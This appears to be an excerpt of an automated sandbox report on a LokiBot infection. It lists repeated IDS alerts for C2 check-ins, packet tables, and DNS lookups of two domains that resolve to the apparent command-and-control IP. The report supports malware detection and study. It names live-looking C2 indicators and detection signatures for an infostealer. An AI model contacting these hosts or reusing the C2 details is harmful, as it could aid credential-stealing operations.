11/25/21-10:55:15.607178	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50693	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.607178	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50693	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.607178	TCP	2025381	ET TROJAN LokiBot Checkin	50693	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.607178	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50693	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.105694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50694	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.105694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50694	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.105694	TCP	2025381	ET TROJAN LokiBot Checkin	50694	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.105694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50694	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.623551	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50695	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.623551	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50695	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.623551	TCP	2025381	ET TROJAN LokiBot Checkin	50695	80	192.168.11.20	176.223.209.128
11/25/21-10:55:16.623551	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50695	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.136322	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50696	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.136322	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50696	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.136322	TCP	2025381	ET TROJAN LokiBot Checkin	50696	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.136322	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50696	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.661094	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50697	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.661094	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50697	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.661094	TCP	2025381	ET TROJAN LokiBot Checkin	50697	80	192.168.11.20	176.223.209.128
11/25/21-10:55:17.661094	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50697	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.167114	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50698	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.167114	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50698	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.167114	TCP	2025381	ET TROJAN LokiBot Checkin	50698	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.167114	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50698	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.649872	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50699	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.649872	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50699	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.649872	TCP	2025381	ET TROJAN LokiBot Checkin	50699	80	192.168.11.20	176.223.209.128
11/25/21-10:55:18.649872	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50699	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.101720	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50700	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.101720	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50700	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.101720	TCP	2025381	ET TROJAN LokiBot Checkin	50700	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.101720	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50700	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.627458	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50701	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.627458	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50701	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.627458	TCP	2025381	ET TROJAN LokiBot Checkin	50701	80	192.168.11.20	176.223.209.128
11/25/21-10:55:19.627458	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50701	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.138106	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50702	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.138106	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50702	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.138106	TCP	2025381	ET TROJAN LokiBot Checkin	50702	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.138106	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50702	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.632791	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50703	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.632791	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50703	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.632791	TCP	2025381	ET TROJAN LokiBot Checkin	50703	80	192.168.11.20	176.223.209.128
11/25/21-10:55:20.632791	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50703	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.146267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50704	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.146267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50704	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.146267	TCP	2025381	ET TROJAN LokiBot Checkin	50704	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.146267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50704	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.663106	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50705	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.663106	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50705	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.663106	TCP	2025381	ET TROJAN LokiBot Checkin	50705	80	192.168.11.20	176.223.209.128
11/25/21-10:55:21.663106	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50705	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.180632	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50706	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.180632	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50706	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.180632	TCP	2025381	ET TROJAN LokiBot Checkin	50706	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.180632	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50706	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.690105	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50707	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.690105	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50707	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.690105	TCP	2025381	ET TROJAN LokiBot Checkin	50707	80	192.168.11.20	176.223.209.128
11/25/21-10:55:22.690105	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50707	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.208795	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50708	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.208795	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50708	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.208795	TCP	2025381	ET TROJAN LokiBot Checkin	50708	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.208795	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50708	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.713368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50709	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.713368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50709	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.713368	TCP	2025381	ET TROJAN LokiBot Checkin	50709	80	192.168.11.20	176.223.209.128
11/25/21-10:55:23.713368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50709	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.216252	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50710	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.216252	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50710	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.216252	TCP	2025381	ET TROJAN LokiBot Checkin	50710	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.216252	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50710	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.719606	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50711	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.719606	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50711	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.719606	TCP	2025381	ET TROJAN LokiBot Checkin	50711	80	192.168.11.20	176.223.209.128
11/25/21-10:55:24.719606	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50711	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.235141	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50712	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.235141	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50712	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.235141	TCP	2025381	ET TROJAN LokiBot Checkin	50712	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.235141	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50712	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.759054	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50713	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.759054	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50713	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.759054	TCP	2025381	ET TROJAN LokiBot Checkin	50713	80	192.168.11.20	176.223.209.128
11/25/21-10:55:25.759054	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50713	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.277776	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50714	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.277776	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50714	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.277776	TCP	2025381	ET TROJAN LokiBot Checkin	50714	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.277776	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50714	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.773687	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50715	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.773687	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50715	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.773687	TCP	2025381	ET TROJAN LokiBot Checkin	50715	80	192.168.11.20	176.223.209.128
11/25/21-10:55:26.773687	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50715	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.262392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50716	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.262392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50716	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.262392	TCP	2025381	ET TROJAN LokiBot Checkin	50716	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.262392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50716	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.777041	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50717	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.777041	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50717	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.777041	TCP	2025381	ET TROJAN LokiBot Checkin	50717	80	192.168.11.20	176.223.209.128
11/25/21-10:55:27.777041	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50717	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.274622	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50718	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.274622	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50718	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.274622	TCP	2025381	ET TROJAN LokiBot Checkin	50718	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.274622	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50718	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.757055	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50719	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.757055	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50719	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.757055	TCP	2025381	ET TROJAN LokiBot Checkin	50719	80	192.168.11.20	176.223.209.128
11/25/21-10:55:28.757055	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50719	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.273209	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50720	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.273209	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50720	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.273209	TCP	2025381	ET TROJAN LokiBot Checkin	50720	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.273209	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50720	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.703563	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50721	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.703563	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50721	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.703563	TCP	2025381	ET TROJAN LokiBot Checkin	50721	80	192.168.11.20	176.223.209.128
11/25/21-10:55:29.703563	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50721	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.142951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50722	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.142951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50722	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.142951	TCP	2025381	ET TROJAN LokiBot Checkin	50722	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.142951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50722	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.577953	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50723	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.577953	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50723	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.577953	TCP	2025381	ET TROJAN LokiBot Checkin	50723	80	192.168.11.20	176.223.209.128
11/25/21-10:55:30.577953	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50723	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.094477	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50724	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.094477	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50724	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.094477	TCP	2025381	ET TROJAN LokiBot Checkin	50724	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.094477	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50724	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.594377	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50725	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.594377	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50725	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.594377	TCP	2025381	ET TROJAN LokiBot Checkin	50725	80	192.168.11.20	176.223.209.128
11/25/21-10:55:31.594377	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50725	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.108072	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50726	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.108072	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50726	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.108072	TCP	2025381	ET TROJAN LokiBot Checkin	50726	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.108072	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50726	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.638413	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50727	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.638413	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50727	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.638413	TCP	2025381	ET TROJAN LokiBot Checkin	50727	80	192.168.11.20	176.223.209.128
11/25/21-10:55:32.638413	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50727	80	192.168.11.20	176.223.209.128

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 10:47:51.315337896 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.315355062 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:51.315623045 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.327244043 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.327254057 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:51.757873058 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:51.758124113 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.904304028 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.904364109 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:51.905023098 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:51.905283928 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.908416033 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:51.951900959 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.230103970 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.230159998 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.230254889 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.230294943 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.230305910 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.230458021 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.230494976 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.438500881 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.438532114 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.438781977 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.439002991 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.439160109 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.439258099 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.439333916 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.439368010 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.439486027 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.439529896 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.439558983 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.645909071 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.645930052 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.646119118 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.646176100 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.647803068 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.648298025 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.648332119 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.648364067 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.648547888 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.648597956 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.648950100 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.688452005 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.688659906 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.688813925 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.854479074 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.854779005 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.857505083 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.857702971 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.857880116 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.858072042 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.858251095 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.858294964 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.858325005 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.858409882 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.858500004 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.858530998 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.858720064 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.858789921 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.858895063 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.859002113 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.859046936 CET	443	49816	197.242.150.64	192.168.11.20
Nov 25, 2021 10:47:52.859054089 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:52.859409094 CET	49816	443	192.168.11.20	197.242.150.64
Nov 25, 2021 10:47:54.169415951 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.202750921 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:47:54.203001022 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.204528093 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.237848043 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:47:54.238023996 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.271303892 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:47:54.380963087 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:47:54.381019115 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:47:54.381377935 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.381423950 CET	49817	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:47:54.414658070 CET	80	49817	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:00.959841013 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:00.993249893 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:00.993474007 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:00.994992018 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:00.995047092 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:00.995079994 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.028297901 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.028568983 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.028614998 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.080023050 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.080080032 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.080358982 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.080440998 CET	49821	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.113857031 CET	80	49821	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.683996916 CET	49822	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.717415094 CET	80	49822	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.717715979 CET	49822	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.719255924 CET	49822	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.752535105 CET	80	49822	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.752748013 CET	49822	80	192.168.11.20	176.223.209.128
Nov 25, 2021 10:48:01.786055088 CET	80	49822	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.885267019 CET	80	49822	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.885318995 CET	80	49822	176.223.209.128	192.168.11.20
Nov 25, 2021 10:48:01.885462046 CET	49822	80	192.168.11.20	176.223.209.128

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 10:47:50.042912960 CET	62242	53	192.168.11.20	1.1.1.1
Nov 25, 2021 10:47:51.052072048 CET	62242	53	192.168.11.20	9.9.9.9
Nov 25, 2021 10:47:51.302644014 CET	53	62242	1.1.1.1	192.168.11.20
Nov 25, 2021 10:47:51.432888031 CET	53	62242	9.9.9.9	192.168.11.20
Nov 25, 2021 10:47:53.898544073 CET	61258	53	192.168.11.20	1.1.1.1
Nov 25, 2021 10:47:54.168392897 CET	53	61258	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 25, 2021 10:47:50.042912960 CET	192.168.11.20	1.1.1.1	0xa8af	Standard query (0)	fabricraft.co.za	A (IP address)	IN (0x0001)
Nov 25, 2021 10:47:51.052072048 CET	192.168.11.20	9.9.9.9	0xa8af	Standard query (0)	fabricraft.co.za	A (IP address)	IN (0x0001)
Nov 25, 2021 10:47:53.898544073 CET	192.168.11.20	1.1.1.1	0x3bd2	Standard query (0)	farmanat.ro	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 25, 2021 10:47:51.302644014 CET	1.1.1.1	192.168.11.20	0xa8af	No error (0)	fabricraft.co.za	197.242.150.64	A (IP address)	IN (0x0001)
Nov 25, 2021 10:47:51.432888031 CET	9.9.9.9	192.168.11.20	0xa8af	No error (0)	fabricraft.co.za	197.242.150.64	A (IP address)	IN (0x0001)
Nov 25, 2021 10:47:54.168392897 CET	1.1.1.1	192.168.11.20	0x3bd2	No error (0)	farmanat.ro	176.223.209.128	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

fabricraft.co.za

farmanat.ro

HTTP Packets

